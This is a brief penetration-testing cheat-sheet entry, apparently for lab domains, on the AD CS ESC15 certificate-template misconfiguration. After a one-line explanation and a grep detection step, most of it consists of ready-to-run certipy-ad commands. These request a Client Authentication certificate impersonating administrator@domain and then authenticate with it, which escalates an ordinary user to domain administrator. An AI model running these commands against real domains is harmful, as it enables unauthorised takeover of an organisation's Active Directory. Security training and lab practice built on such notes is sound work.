ESC15

ESC15 — Arbitrary Application Policy

External: Hacker Recipes — ESC15

External: Internal All The Things — Certificate ESC15

Idea: Template allows requester to specify application policy (EKU OID) → request cert with Client Authentication or other useful EKU even when template looks locked down.

Detect

grep -i ESC15 *_Certipy.txt

Exploit

certipy-ad req -u user@domain.htb -p 'PASS' -dc-ip DC_IP \
  -ca CA_NAME -template VulnTemplate \
  -application-policies '1.3.6.1.5.5.7.3.2' \
  -upn administrator@domain.htb
 
certipy-ad auth -pfx administrator.pfx -domain domain.htb

Client Auth OID: 1.3.6.1.5.5.7.3.2

→ ESC1 · AD CS ESC